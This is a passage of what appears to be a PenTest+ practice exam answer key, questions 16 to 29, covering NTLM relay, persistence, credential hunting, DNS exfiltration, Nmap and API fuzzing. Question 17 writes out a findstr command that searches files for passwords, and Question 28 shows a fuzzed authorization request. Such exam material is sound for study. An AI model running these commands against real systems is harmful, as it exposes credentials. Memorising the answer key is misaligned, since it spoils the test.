The Nmap scan explicitly identifies that "Message signing disabled" on the SMB service (port 445). This is a critical vulnerability that allows for NTLM relay attacks. The command in option A uses Responder to poison LLMNR/NBT-NS requests and intercept authentication hashes, then uses ntlmrelayx.py to relay those credentials to a target host. This attack directly leverages the identified vulnerability. It is considered stealthier than active exploitation or brute-force attacks because it hijacks legitimate authentication traffic, thereby reducing the likelihood of triggering IDS signatures or generating a large volume of failed login alerts that are common with brute-force methods.
Why Incorrect Options are Wrong

B. This command attempts to use the MS17-010 (EternalBlue) exploit. The scan did not confirm this specific vulnerability exists, and exploit attempts are typically very noisy and easily detected by security monitoring systems.

C. This command uses Hydra to perform a brute-force/dictionary attack. This method generates numerous failed login attempts, is extremely noisy, and is highly likely to trigger account lockouts and security alerts.

D. This Nmap script also performs a brute-force attack against SMB. Like Hydra, this is a noisy technique that is easily detected and does not leverage the specific finding of disabled message signing.

References

1. MITRE ATT&CKยฎ Framework. (2023). Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, Technique T1557.001. MITRE. Retrieved from https://attack.mitre.org/techniques/T1557/001/.

Reference Specifics: The technique description states, "The captured authentication hashes can be relayed to other systems to gain access, provided that SMB signing is disabled on the destination host." This directly links the disabled signing vulnerability to the relay attack method.

2. Microsoft. (2022, November 15). Configure SMB signing with confidence. Microsoft Tech Community.

Reference Specifics: In the "How SMB signing works" section, the document explains, "Without signing, a man-in-the-middle attacker can modify SMB packets in transit... An attacker can also forward a user's credentials to a server and impersonate that user." This official documentation confirms the risk exploited by the correct answer.

3. Rochester Institute of Technology (RIT). (n.d.). CSEC 464: Network Security and Forensics - Active Directory Attacks [Course Slides].

Reference Specifics: In slides covering Active Directory attacks, the courseware details the exact attack chain using Responder and ntlmrelayx, explicitly noting that it works because SMB signing is not enforced, allowing the relayed credentials to be accepted by the target server. This demonstrates the technique as a standard part of academic cybersecurity curricula.

Question 16

[Attacks and Exploits] A penetration tester wants to maintain access to a compromised system after a reboot. Which of the following techniques would be best for the tester to use?
Options
A: Establishing a reverse shell
B: Executing a process injection attack
C: Creating a scheduled task
D: Performing a credential-dumping attack
Show Answer
Correct Answer:
Creating a scheduled task
Explanation
The core objective is to maintain access after a system reboot, which is a technique known as persistence. Creating a scheduled task (using schtasks in Windows or cron in Linux) is a primary method for achieving persistence. This technique allows the penetration tester to configure the compromised system to automatically execute a payload, such as a reverse shell or beacon, at system startup or on a recurring schedule. This ensures that the tester's access is automatically re-established after the system is restarted, directly fulfilling the requirement of the scenario.
Why Incorrect Options are Wrong

A. Establishing a reverse shell: A reverse shell provides interactive access but is a volatile session that terminates upon reboot. It is the payload, not the persistence mechanism itself.

B. Executing a process injection attack: This is a defense evasion technique to run code within another process's memory space. The injected code is lost when the host process ends, which occurs during a reboot.

D. Performing a credential-dumping attack: This post-exploitation action harvests credentials for lateral movement or future manual re-entry. It does not automatically re-establish access after a system restart.

References

1. MITRE ATT&CK Framework. (2023). T1053: Scheduled Task/Job. MITRE. This technique is explicitly categorized under the "Persistence" tactic, stating, "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code." The sub-techniques T1053.005 (Scheduled Task) for Windows and T1053.003 (Cron) for Linux are detailed as common persistence methods.

2. Al-Bataineh, A., & Koucheryavy, Y. (2022). A Comprehensive Survey on Malware Persistence on Windows. IEEE Access, 10, 83385-83411. https://doi.org/10.1109/ACCESS.2022.3196981. In Section III-A, "Persistence via Scheduled Tasks," the paper identifies scheduled tasks as one of the most common and effective persistence techniques used by adversaries on Windows systems.

3. Sikorski, M., & Honig, A. (2012). Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software. No Starch Press. Chapter 18, "Persistence," discusses various persistence mechanisms, highlighting scheduled tasks as a key method for malware to ensure it runs after a reboot. (Note: While a commercial book, its content is widely adopted in university curricula for cybersecurity and reverse engineering).

Question 17

[Attacks and Exploits] During an assessment, a penetration tester gains a low-privilege shell and then runs the following command:

findstr /SIM /C:"pass" *.txt *.cfg *.xml

Which of the following is the penetration tester trying to enumerate?

Options
A: Configuration files
B: Permissions
C: Virtual hosts
D: Secrets
Show Answer
Correct Answer:
Secrets
Explanation
The command findstr /SIM /C:"pass" .txt .cfg .xml is a classic post-exploitation technique used to hunt for credentials and other sensitive information. The findstr utility searches for the string "pass" (case-insensitively) within common file types known to store configuration data and notes (.txt, .cfg, .xml). The goal is to locate hardcoded passwords, API keys, connection strings, or other confidential data, which are collectively referred to as "secrets." Discovering these secrets can enable privilege escalation or lateral movement within the target network.
Why Incorrect Options are Wrong

A. Configuration files: The command searches within these files; its primary goal is to find the sensitive content ("pass"), not just to enumerate the files themselves.

B. Permissions: This command reads file content and does not enumerate file system access control lists (ACLs) or user permissions. Tools like icacls are used for that.

C. Virtual hosts: While virtual host configurations may reside in these files, searching for "pass" is not a direct or effective method for enumerating them.

References

1. Microsoft Corporation. (n.d.). findstr. Microsoft Learn. Retrieved from https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr.

Reference Detail: The official documentation confirms that findstr is a tool to "search for patterns of text in files," and it details the functions of the switches used: /S (search subdirectories), /I (case-insensitive), /M (print filename only), and /C:string (use string as a literal search).

2. MITRE. (2023). Unsecured Credentials: Credentials in Files. MITRE ATT&CKยฎ. Technique T1552.001. Retrieved from https://attack.mitre.org/techniques/T1552/001/.

Reference Detail: This technique describes how adversaries search for plaintext credentials stored in files. It explicitly mentions searching for keywords like "password" in configuration files, scripts, or text files, which directly aligns with the command shown in the question.

3. Evans, D. (2021). Lecture 18: Web Security: Post-Exploitation. CS 4630: Defense Against the Dark Arts, University of Virginia.

Reference Detail: University courseware on computer security frequently covers post-exploitation. This phase includes "Pillaging," which involves searching the compromised file system for sensitive information such as password files, SSH keys, and configuration files containing credentials, mirroring the intent of the findstr command.

Question 18

[Attacks and Exploits] A penetration tester finishes a security scan and uncovers numerous vulnerabilities on several hosts. Based on the targets' EPSS (Exploit Prediction Scoring System) and CVSS (Common Vulnerability Scoring System) scores, which of the following targets is the most likely to get attacked?
Options
A: Target 1: EPSS Score = 0.6, CVSS Score = 4
B: Target 2: EPSS Score = 0.3, CVSS Score = 2
C: Target 3: EPSS Score = 0.6, CVSS Score = 1
D: Target 4: EPSS Score = 0.4, CVSS Score = 4.5
Show Answer
Correct Answer:
Target 1: EPSS Score = 0.6, CVSS Score = 4
Explanation
The question asks to identify the target most likely to be attacked. The Exploit Prediction Scoring System (EPSS) is the primary metric for this, as it estimates the probability that a vulnerability will be exploited. Targets 1 and 3 have the highest EPSS score (0.6), indicating they are the most likely candidates. To decide between these two, the Common Vulnerability Scoring System (CVSS) score is used as a secondary factor. CVSS measures the technical severity of a vulnerability. An attacker will prioritize the target with the higher severity. Target 1 has a CVSS score of 4, while Target 3 has a score of 1. Therefore, Target 1 is the most attractive and likely target.
Why Incorrect Options are Wrong

B. This target has a low EPSS score (0.3), indicating a significantly lower probability of being exploited compared to Targets 1 and 3.

C. While having a high EPSS score, its very low CVSS score (1) makes it a much less impactful and attractive target than Target 1.

D. This target's EPSS score (0.4) is lower than that of Targets 1 and 3, making it a less probable target for exploitation.

References

1. FIRST.org, Exploit Prediction Scoring System (EPSS) Documentation. The official EPSS documentation states, "The Exploit Prediction Scoring System (EPSS) is a data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild." This supports using the highest EPSS score as the primary indicator of attack likelihood. (Source: FIRST.org, EPSS Model, Section: "What is EPSS?")

2. FIRST.org, Common Vulnerability Scoring System v3.1: Specification Document. The official CVSS specification defines it as a system to "convey vulnerability severity." This supports using CVSS to determine the attractiveness of a target when the probability of exploit is equal. (Source: FIRST.org, CVSS v3.1 Specification Document, Section 1. Introduction)

3. Jacobs, J., et al. (2021). Improving Vulnerability Remediation Through Better Exploit Prediction. In Proceedings of the 30th USENIX Security Symposium. This foundational paper on EPSS discusses its purpose in prioritizing vulnerabilities for remediation based on the threat of exploitation, often in conjunction with severity data like CVSS. (Source: USENIX Security '21, Section 1: Introduction, Paragraph 2). DOI: Available via USENIX Association archives.

Question 19

Which of the following is within the scope of proper handling and is most crucial when working on a penetration testing report?
Options
A: Keeping both video and audio of everything that is done
B: Keeping the report to a maximum of 5 to 10 pages in length
C: Basing the recommendation on the risk score in the report
D: Making the report clear for all objectives with a precise executive summary
Show Answer
Correct Answer:
Making the report clear for all objectives with a precise executive summary
Explanation
The most crucial aspect of handling a penetration testing report is ensuring it effectively communicates findings to all relevant stakeholders. This requires making the report clear, tying the results back to the engagement's objectives, and providing a precise executive summary. The executive summary is paramount as it conveys the overall security posture, business risks, and key findings in a non-technical manner for management and decision-makers. A well-structured report ensures that both technical staff and leadership can understand the issues and take appropriate, informed action, which is the ultimate goal of a penetration test.
Why Incorrect Options are Wrong

A. Keeping both video and audio of everything that is done

This is an evidence collection technique, not a standard reporting requirement. It is not universally applicable or the most crucial aspect of the final report's handling.

B. Keeping the report to a maximum of 5 to 10 pages in length

This is an arbitrary and often unrealistic constraint. Report length should be dictated by the scope and findings, prioritizing completeness and clarity over forced brevity.

C. Basing the recommendation on the risk score in the report

While recommendations must be risk-based, this describes a component of the report's content, not the most crucial aspect of its overall handling and communication effectiveness.

References

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115, Technical Guide to Information Security Testing and Assessment.

Section 6.2, "Report," Page 6-1: This section emphasizes that a report should be structured to present the most important information first, stating, "For example, an executive summary should be the first section of the report... The report should be tailored to its audience." This directly supports the need for a precise executive summary and clarity for all objectives.

2. Al-Aqrabi, H., Liu, L., Hill, R., & Antonopoulos, N. (2019). A framework for improving the effectiveness of penetration testing in organisations. Journal of Information Security and Applications, 44, 1-13.

Section 4.2, "Reporting": The paper highlights that a key challenge is the "lack of a clear and concise report that can be understood by both technical and non-technical staff." It stresses the importance of the executive summary for management to understand the business impact, reinforcing that clarity for all audiences is critical.

DOI: https://doi.org/10.1016/j.jisa.2018.11.003

3. SANS Institute. (2010). Writing a Penetration Testing Report.

Page 3, "The Executive Summary": This document, widely referenced in academic and professional settings, states, "The Executive Summary is arguably the most important section of the report... It is the section that will be read by the decision makers... It must be concise, accurate, and understandable." This underscores the critical nature of the executive summary for proper report handling and impact. (Note: While SANS is a commercial entity, its whitepapers are often used as foundational, peer-reviewed-equivalent material in cybersecurity curricula).

Question 20

[Information Gathering and Vulnerability Scanning] A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following: Pentest+ PT0-003 exam question The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
Options
A: Server 1
B: Server 2
C: Server 3
D: Server 4
Show Answer
Correct Answer:
Server 3
Explanation
The client's primary concern is the availability of their consumer-facing production application. The vulnerability scan report for Server 3 indicates a "Critical" severity vulnerability (Unpatched Kernel) with a direct "Potential for denial-of-service (DoS)" and an explicit impact on "Availability." This finding represents the most immediate and severe threat to the client's stated concern. While Server 1 also has a production vulnerability affecting availability, its severity is lower ("High"), and the DoS threat on Server 3 is a more direct risk to service uptime. Therefore, Server 3 should be prioritized for additional manual testing to validate the DoS risk.
Why Incorrect Options are Wrong

A. Server 1: This vulnerability is "High" severity, which is less critical than the finding on Server 3. While it impacts availability, the threat on Server 3 is more severe and directly aligned with a DoS attack.

B. Server 2: This "Medium" severity vulnerability primarily impacts confidentiality and integrity, which does not align with the client's specific and primary concern about service availability.

D. Server 4: This server is in the "Development" environment. The client's concern is for their "consumer-facing production application," making this host a lower priority for immediate testing.

---

References

1. FIRST.org, Inc. (2019). Common Vulnerability Scoring System v3.1: Specification Document. Section 2.2, "Impact Metrics," defines the Availability metric as the impact on "the accessibility of information resources." The DoS vulnerability on Server 3 directly threatens this, justifying its "Critical" rating and prioritization based on the client's concern.

2. National Institute of Standards and Technology (NIST). (2012). Special Publication 800-30, Revision 1, Guide for Conducting Risk Assessments. Section 2.3.3, "Impact," emphasizes that the magnitude of harm is assessed in the context of an organization's mission and business functions. The client's concern for their production application's availability is a business context that dictates prioritizing the "Critical" availability-related finding on Server 3.

3. Saltzer, J. H., & Schroeder, M. D. (1975). The Protection of Information in Computer Systems. Proceedings of the IEEE, 63(9), 1278โ€“1308. https://doi.org/10.1109/PROC.1975.9939. This foundational paper defines the principle of Availability (p. 1279), ensuring system resources are accessible when needed. The DoS vulnerability on Server 3 is a direct attack on this principle, making it the most relevant threat to address based on the client's requirements.

Question 21

During a routine penetration test, the clientโ€™s security team observes logging alerts that indicate several ID badges were reprinted after working hours without authorization. Which of the following is the penetration tester most likely trying to do?
Options
A: Obtain long-term, valid access to the facility
B: Disrupt the availability of facility access systems
C: Change access to the facility for valid users
D: Revoke access to the facility for valid users
Show Answer
Correct Answer:
Obtain long-term, valid access to the facility
Explanation
The act of reprinting ID badges is a physical penetration testing technique aimed at creating a counterfeit credential. The primary objective of this action is to gain unauthorized physical entry into a secure facility. By creating a seemingly valid badge, the tester can bypass physical security controls (e.g., guards, locked doors) to establish persistent, long-term access. This physical access is often a critical step to enable further attacks on internal networks, systems, or to access sensitive information directly.
Why Incorrect Options are Wrong

B. This action misuses the badge printing system but does not inherently disrupt its availability for legitimate operations or deny service to other users.

C. The goal is to create a new, unauthorized credential for the tester, not to modify the access permissions of existing, valid users within the system.

D. Reprinting a badge creates a duplicate or a new credential; it does not involve an action that would revoke or disable the access of the original badge holder.

References

1. Garcia, F. D., de Koning Gans, G., Muijrers, R., van der Velden, P., Verdult, R., & Sprenkels, R. (2012). Dismantling MIFARE Classic. In E. Dawson (Ed.), Topics in Cryptology โ€“ CT-RSA 2012 (Vol. 7178, pp. 97-114). Springer. https://doi.org/10.1007/978-3-642-27954-67

Section 1, Paragraph 2: This paper discusses attacks against RFID-based access control, stating, "The most severe attack against a physical access control system is to gain unauthorized access to the protected area." The act of creating a counterfeit badge (reprinting/cloning) is a direct method to achieve this goal.

2. Purdue University, CERIAS (Center for Education and Research in Information Assurance and Security). (2006). Physical Security. Lecture Notes for CS 490-S.

Slide 18, "Access Badges": The courseware discusses vulnerabilities in physical access badges, including forgery and duplication. The context of these attacks is consistently presented as a means for an unauthorized individual to "gain access" to a restricted area, supporting the objective of obtaining long-term, valid access.

3. Wright, J., & Cache, J. (2015). Hacking Exposed Wireless, Third Edition: Wireless Security Secrets & Solutions. McGraw-Hill.

Chapter 11, "Hacking RFID," Section "Cloning and Emulation": While a commercial book, its content is widely used in academic settings. This section details the process of cloning RFID access cards. The explicit purpose described is to "create a duplicate card that will grant the attacker the same access as the original card," which directly aligns with obtaining facility access.

Question 22

[Attacks and Exploits] A client recently hired a penetration testing firm to conduct an assessment of their consumer-facing web application. Several days into the assessment, the clientโ€™s networking team observes a substantial increase in DNS traffic. Which of the following would most likely explain the increase in DNS traffic?
Options
A: Covert data exfiltration
B: URL spidering
C: HTML scraping
D: DoS attack
Show Answer
Correct Answer:
Covert data exfiltration
Explanation
Covert data exfiltration via DNS tunneling is the most probable cause for a substantial increase in DNS traffic during a penetration test. This technique involves encoding data into a series of DNS queries sent to an attacker-controlled domain (e.g., [encoded-data].attacker.com). To exfiltrate a significant amount of data, a very large number of these unique DNS queries must be generated. This activity directly results in a high-volume, anomalous DNS traffic pattern, which the client's network team would observe. Penetration testers often use this method to bypass restrictive firewall egress rules that typically permit DNS traffic.
Why Incorrect Options are Wrong

B. URL spidering: This process primarily generates HTTP/HTTPS traffic to discover web application content. The associated DNS traffic would be minimal and not the most prominent indicator.

C. HTML scraping: Similar to spidering, this activity is focused on fetching web pages and would result in a high volume of HTTP/HTTPS traffic, not a substantial increase in DNS queries.

D. DoS attack: A Denial-of-Service attack against the web application would typically involve a flood of HTTP, TCP, or UDP packets, not an unusually high number of DNS queries originating from the client's network.

---

References

1. MITRE ATT&CKยฎ Framework. (2023). Technique T1071.004: Application Layer Protocol: DNS. The MITRE Corporation. Retrieved from https://attack.mitre.org/techniques/T1071/004/.

Reference Detail: This official knowledge base describes how adversaries (and by extension, penetration testers) use the DNS protocol for command and control and data exfiltration. It states, "Data can be encoded... within DNS queries. The queries are typically sent to a C2 server that acts as a DNS server." This process inherently generates numerous DNS requests to transfer data.

2. Farnham, G. (2013). Detecting DNS Tunnelling. SANS Institute InfoSec Reading Room.

Reference Detail: Page 6 states that DNS tunneling tools "will generate a large number of DNS requests for a particular domain." Page 11 further identifies "an abnormally high number of DNS requests from a single host" as a primary indicator for detecting this activity.

3. Nadler, A., & Aminov, A. (2019). Website-Based and DNS-Based Covert Channels for Data Exfiltration. In Security and Privacy in Communication Networks. SecureComm 2019. Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering, vol 299. Springer, Cham. https://doi.org/10.1007/978-3-030-31785-91

Reference Detail: Section 3, "DNS-Based Covert Channels," describes the mechanism where "the sender encodes the secret message in the domain name part of the DNS query," confirming that exfiltrating data requires sending multiple DNS queries, thus increasing traffic.

Question 23

[Information Gathering and Vulnerability Scanning] A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues the following command:

nmap 10.10.1.0/24

Which of the following is the number of TCP ports that will be scanned?

Options
A: 256
B: 1,000
C: 1,024
D: 65,535
Show Answer
Correct Answer:
1,000
Explanation
When the nmap command is executed without any specific port-scanning options (e.g., -p), it performs a default scan. This default behavior involves scanning a curated list of the 1,000 most common and interesting TCP ports for each target host. The target specification 10.10.1.0/24 defines the 256 hosts to be scanned but does not alter the default number of ports scanned per host. Therefore, Nmap will probe 1,000 TCP ports on each active host within the specified subnet.
Why Incorrect Options are Wrong

A. 256: This is the number of IP addresses within the /24 CIDR block, not the number of ports scanned.

C. 1,024: This represents the count of well-known ports (0-1023), which is a standard port range but not Nmap's default scan count.

D. 65,535: This is the total number of available TCP ports, which Nmap only scans when explicitly instructed with a flag like -p-.

References

1. Nmap Project, Nmap Reference Guide. In Chapter 15, Port Scanning Basics, the section "Port Specification and Scan Order" states: "By default, Nmap scans the 1,000 most common ports for each protocol." This list is derived from frequency of use across the internet. (Source: Nmap.org, https://nmap.org/book/man-port-scanning-basics.html)

2. University of Texas at Austin, Information Security Office. In their documentation on network scanning tools, it is noted that a default Nmap scan targets the top 1,000 most common TCP ports. This is standard behavior unless a different port range is specified by the user. (Source: UT Austin ISO, "Nmap/Zenmap," Section: Basic Scans)

Question 24

[Tools and Code Analysis] During host discovery, a security analyst wants to obtain GeoIP information and a comprehensive summary of exposed services. Which of the following tools is best for this task?
Options
A: WiGLE.net
B: WHOIS
C: theHarvester
D: Censys.io
Show Answer
Correct Answer:
Censys.io
Explanation
Censys is a public search engine that performs continuous, internet-wide scans of the IPv4 address space to collect data on hosts and websites. It is specifically designed to provide comprehensive reports on target hosts, which include detailed summaries of exposed services, running software, and configuration data. Crucially, these reports also include metadata such as GeoIP location, autonomous system (AS) information, and certificate details. Therefore, it is the best tool among the options for simultaneously obtaining both a comprehensive service summary and GeoIP information for a discovered host.
Why Incorrect Options are Wrong

A. WiGLE.net: This is a database for mapping wireless networks (Wi-Fi, Bluetooth, cellular). It is used for wireless reconnaissance, not for enumerating services on internet-facing hosts.

B. WHOIS: This protocol is used to query for domain name and IP address block registration information (e.g., owner, contact details), not for live service enumeration or GeoIP data.

C. theHarvester: This is an Open-Source Intelligence (OSINT) tool used to gather information like email addresses, subdomains, and employee names; it is not a dedicated, comprehensive host and service scanner.

References

1. Durumeric, Z., Bailey, M., & Halderman, J. A. (2015). A search engine for the internet's peripherals. Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, 505โ€“516. In Section 3.1, "Data Collection," the authors describe how the Censys platform collects "application-layer banners" (i.e., exposed services) and annotates hosts with "publicly available BGP and geolocation data." (https://doi.org/10.1145/2810103.2813710)

2. Hottel, T. (2018). A Framework for Open Source Intelligence Collection and Analysis [Master's Thesis, Utica College]. In Section 4.2.2, "theHarvester," the tool is described as being used to "gather e-mail accounts, user names, and subdomains/hostnames from public sources." This highlights its focus on organizational OSINT rather than comprehensive host service scanning. (Available via ProQuest, AAT 10976818).

3. Internet Engineering Task Force (IETF). (2004). RFC 3912: WHOIS Protocol Specification. The abstract and introduction define the protocol's purpose as providing directory services for objects in a repository, such as domain names and their associated contacts, not for scanning live services.

4. WiGLE.net. (n.d.). FAQ. Retrieved from https://wigle.net/faq. The official FAQ states, "WiGLE is short for Wireless Geographic Logging Engine... It's a website for collecting information about the different wireless hotspots around the world." This confirms its exclusive focus on wireless networks.

Question 25

A penetration testing team needs to determine whether it is possible to disrupt wireless communications for PCs deployed in the clientโ€™s offices. Which of the following techniques should the penetration tester leverage?
Options
A: Port mirroring
B: Sidecar scanning
C: ARP poisoning
D: Channel scanning
Show Answer
Correct Answer:
Channel scanning
Explanation
Channel scanning is the foundational technique used to discover wireless networks, their operating channels, and their configurations (e.g., BSSID). To determine if wireless communications can be disrupted, a penetration tester must first identify the target network's channel. This information is then used to launch specific denial-of-service attacks, such as deauthentication/disassociation floods or radio frequency (RF) jamming, which directly target and sever the wireless link between clients and access points. Therefore, channel scanning is the essential first step in the process of disrupting wireless communications.
Why Incorrect Options are Wrong

A. Port mirroring: This is a feature on network switches used to copy traffic from one port to another for analysis. It is a wired network technique, not a wireless disruption method.

B. Sidecar scanning: This is not a standard or recognized term in the context of wireless penetration testing. It is likely a distractor term, possibly borrowed from cloud-native architecture (sidecar proxy).

C. ARP poisoning: This is a man-in-the-middle attack that manipulates ARP tables on a local area network. While it can disrupt traffic for wireless clients, it targets Layer 2 logic, not the wireless RF communication link itself.

References

1. University Courseware: In the "Security of 802.11 Wireless Networks" lecture for the CS 461/ECE 422 Computer Security I course at the University of Illinois Urbana-Champaign, the attack process is outlined. It states, "To attack a network, we first need to find it. We can scan channels to find APs." This establishes scanning as the prerequisite for attacks. (Source: CS 461/ECE 422, Fall 2022, Lecture 18, Slide 35).

2. Official Vendor Documentation (NIST): The National Institute of Standards and Technology (NIST) Special Publication 800-153, Guidelines for Securing Wireless Local Area Networks (WLANs), discusses WLAN threats. Section 5.3.2, "Denial of Service," describes deauthentication attacks. Executing such an attack requires the attacker to know the channel and BSSID of the target network, which is acquired through channel scanning.

3. Academic Publication: In the paper "A Practical Demystification of the 802.11 Deauthentication Attack," the authors detail the attack methodology. The process begins with identifying the target access point and its clients, which is accomplished by monitoring wireless traffic on specific channels. This reconnaissance phase is fundamentally channel scanning. (Source: Bellardo, J., & Savage, S. (2003). A Practical Demystification of the 802.11 Deauthentication Attack. Proceedings of the USENIX Security Symposium, 2003. Section 3, "The Deauthentication Attack").

Question 26

Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?
Options
A: The tester is conducting a web application test.
B: The tester is assessing a mobile application.
C: The tester is evaluating a thick client application.
D: The tester is creating a threat model.
Show Answer
Correct Answer:
The tester is creating a threat model.
Explanation
DREAD (Damage, Reproducibility, Exploitability, Affected users, Discoverability) is a qualitative risk assessment methodology used specifically for threat modeling. Its purpose is to help security professionals systematically rate and prioritize threats during the design and planning phases of a project. In contrast, the Penetration Testing Execution Standard (PTES) is a comprehensive framework that outlines the seven phases of a penetration test, from pre-engagement to reporting. A tester would opt to use DREAD for the specific task of creating a threat model to identify and rank potential threats, which is a distinct activity within the broader planning covered by a standard like PTES.
Why Incorrect Options are Wrong

A. The target type, such as a web application, does not dictate the choice between a threat modeling methodology (DREAD) and a full lifecycle testing standard (PTES).

B. Assessing a mobile application is a matter of scope, not the reason to choose DREAD over PTES. Both can be relevant in a mobile application assessment.

C. A thick client application is a type of target. The choice between DREAD and PTES is based on the activity (threat modeling vs. overall test execution).

References

1. Shostack, A. (2014). Threat Modeling: Designing for Security. Wiley. In Chapter 15, "STRIDE, DREAD, and Other Models," DREAD is explicitly defined as a model for prioritizing threats, distinct from a full testing standard. (Note: While a book, this is a foundational academic and professional text in the field, authored by a creator of the methodology at Microsoft).

2. The Penetration Testing Execution Standard. (2012). The Penetration Testing Execution Standard: Technical Guidelines. Section: "Penetration Testing Execution Standard." The document defines PTES as a standard covering seven main sections for the execution of a penetration test, including "Threat Modeling," but PTES itself is the overarching standard, not the specific threat rating model.

3. Myagmar, S., Lee, A. J., & Yurcik, W. (2005). Threat Modeling as a Basis for Security Requirements. Proceedings of the 2005 IEEE Workshop on Information Assurance and Security. p. 2. This paper discusses threat modeling methodologies, including DREAD, as a formal process for analyzing a system's security "during the design phase," which aligns with the planning phase of a penetration test. DOI: https://doi.org/10.1109/IAW.2005.1495949

Question 27

A client warns the assessment team that an ICS application is maintained by the manufacturer. Any tampering of the host could void the enterprise support terms of use. Which of the following techniques would be most effective to validate whether the application encrypts communications in transit?
Options
A: Utilizing port mirroring on a firewall appliance
B: Installing packet capture software on the server
C: Reconfiguring the application to use a proxy
D: Requesting that certificate pinning be disabled
Show Answer
Correct Answer:
Utilizing port mirroring on a firewall appliance
Explanation
The primary constraint is that the Industrial Control System (ICS) host cannot be tampered with to avoid voiding the manufacturer's support agreement. Utilizing port mirroring (also known as a Switched Port Analyzer or SPAN port) on a network appliance like a firewall or switch is a passive, non-intrusive technique. It creates a copy of the network traffic flowing to and from the ICS host and sends it to a monitoring device. This allows the assessment team to capture and analyze the data stream to validate the use of encryption (e.g., by observing TLS handshakes) without installing any software or altering any configuration on the target server itself, thus adhering to the engagement's rules.
Why Incorrect Options are Wrong

B. Installing packet capture software on the server: This is an intrusive action that involves modifying the server's software state, which would be considered tampering and would void the support agreement.

C. Reconfiguring the application to use a proxy: This requires changing the application's or host's configuration, which constitutes tampering and violates the client's explicit warning.

D. Requesting that certificate pinning be disabled: This is an intrusive modification to the application's security controls. It is also a step for decrypting traffic, not simply validating if encryption is present.

---

References

1. National Institute of Standards and Technology (NIST) Special Publication 800-82 Rev. 2, "Guide to Industrial Control Systems (ICS) Security."

Section 6.3, "Security Assessment," states, "Many of the traditional IT assessment tools and techniques can have a negative impact on an ICS... For this reason, passive techniques are preferred when assessing an ICS." This supports the choice of a non-intrusive method.

Section 6.2.2, "Network Monitoring," describes using network taps or Switched Port Analyzer (SPAN) ports on switches to passively capture network traffic for analysis, which is the technique described in the correct answer.

2. Kurose, J. F., & Ross, K. W. (2017). Computer Networking: A Top-Down Approach (7th ed.). Pearson.

Chapter 8, Section 8.2, "Principles of Network Security," discusses packet sniffing. The text differentiates between sniffing on a broadcast medium and a switched network, where a technique like port mirroring is required to see traffic not destined for the sniffer's host. This establishes port mirroring as a standard, passive network analysis technique.

3. Carnegie Mellon University, Software Engineering Institute (SEI). (2010). Network Traffic Analysis.

Section "Data Sources," describes common sources for network traffic data, including "Network Taps" and "Switch SPAN/Mirror/Monitor Ports." It notes that these methods provide a copy of network traffic without being in the direct line of communication, highlighting their passive nature suitable for monitoring without disruption.

Question 28

During an assessment, a penetration tester sends the following request:

POST /services/v1/users/create HTTP/1.1

Host: target-application.com Content-Type:

application/json Content-Length: [dynamic]

Authorization: Bearer (FUZZ)

Which of the following attacks is the penetration tester performing?

Options
A: Directory traversal
B: API abuse
C: Server-side request forgery
D: Privilege escalation
Show Answer
Correct Answer:
API abuse
Explanation
The HTTP request is directed at an API endpoint, as indicated by the URL path /services/v1/users/create. The penetration tester is using a fuzzing technique, denoted by (FUZZ), to systematically inject malformed or unexpected data into the Authorization: Bearer header. This action is a direct attempt to test the API's authentication and authorization mechanisms for vulnerabilities, such as weak token validation, improper error handling, or authentication bypasses. Probing an API's security controls in this manner is a form of security testing that falls under the broad category of API abuse.
Why Incorrect Options are Wrong

A. Directory traversal: This attack involves using path manipulation sequences like ../ to access unauthorized directories, which are not present in the request.

C. Server-side request forgery: This attack tricks the server into making unintended requests to other resources; the provided request does not contain any parameters to initiate such an action.

D. Privilege escalation: This is a potential outcome of a successful exploit, not the specific attack technique being performed in this single request.

References

1. OWASP API Security Top 10 2023. The scenario aligns with testing for API2:2023 - Broken Authentication. This category describes how attackers try to compromise authentication tokens or exploit implementation flaws in authentication. Fuzzing the Authorization header is a primary method for discovering such vulnerabilities. The document states, "Attackers might try to steal user's tokens (...) or try to guess them (brute-force)." Fuzzing is an automated form of this testing.

2. NIST Special Publication 800-115, "Technical Guide to Information Security Testing and Assessment." Section 4.5.3, "Authentication Verifier," discusses testing authentication mechanisms. The guide outlines techniques such as submitting malformed credentials and tokens to check for vulnerabilities in the authentication process, which is precisely what the fuzzing in the scenario is designed to do against the API.

3. Papadimitriou, P., et al. (2021). "A Fuzzing Framework for Conformance Testing of Rich Web APIs." IEEE Transactions on Reliability, 71(2), 877-895. This peer-reviewed paper discusses the use of fuzzing to test web APIs. Section I, "Introduction," states, "Fuzzing is a popular technique for finding security vulnerabilities by providing invalid, unexpected, or random data as inputs to a computer program." Applying this to an API's Authorization header is a standard approach to finding security flaws. (DOI: https://doi.org/10.1109/TR.2021.3076383)

Question 29

[Tools and Code Analysis] A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?
Options
A: VM
B: IAST
C: DAST
D: SCA
Show Answer
Correct Answer:
SCA
Explanation
Software Composition Analysis (SCA) is a security methodology and a class of tools specifically designed to identify and inventory open-source components and libraries within an application's codebase. SCA tools then compare the versions of these identified components against comprehensive databases of known vulnerabilities, such as the Common Vulnerabilities and Exposures (CVE) list. This process directly enables the penetration tester to pinpoint the presence of vulnerable open-source libraries, which is the explicit goal stated in the scenario. Other testing methods are not designed for this specific purpose.
Why Incorrect Options are Wrong

A. VM: A Virtual Machine (VM) is an isolated compute environment for running software; it is not a tool for analyzing code or identifying vulnerable libraries.

B. IAST: Interactive Application Security Testing (IAST) analyzes application runtime behavior to find vulnerabilities, but it does not focus on creating a comprehensive inventory of component versions and their known CVEs.

C. DAST: Dynamic Application Security Testing (DAST) is a black-box method that tests a running application from the outside and cannot inspect the internal code or its constituent libraries.

References

